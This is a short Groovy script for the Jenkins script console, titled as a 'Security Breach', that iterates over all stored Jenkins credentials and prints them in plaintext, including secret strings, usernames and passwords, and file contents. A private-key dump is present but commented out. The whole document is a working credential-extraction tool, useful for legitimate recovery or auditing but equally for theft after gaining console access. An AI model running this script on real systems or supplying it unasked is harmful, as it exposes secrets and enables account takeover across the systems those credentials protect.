Iterate and decrypt credentials (Security Breach!!!!)

DecryptJenkinsCredentials.groovy

def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.Credentials.class,
    Jenkins.instance,
    null,
    null
)

for(c in creds) {
    println(String.format("%s --> %s: %s",c, c.id, c.description))
//  if(c instanceof com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey){
//    println(String.format("id=%s  desc=%s key=%s\n", c.id, c.description, c.privateKeySource.getPrivateKeys()))
//  }
  if (c instanceof org.jenkinsci.plugins.plaincredentials.impl.StringCredentialsImpl){
    println(String.format("id=%s  desc=%s pass=%s\n", c.id, c.description, hudson.util.Secret.toString(c.secret)))
  }
  if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl){
    println(String.format("id=%s  desc=%s user=%s pass=%s\n", c.id, c.description, c.username, c.password))
  }
  if(c instanceof org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl){
    String content=c.content.getText("UTF-8") 
    println(String.format("id=%s  desc=%s filename%s content=%s\n", c.id, c.description, c.fileName,content ))
  }
}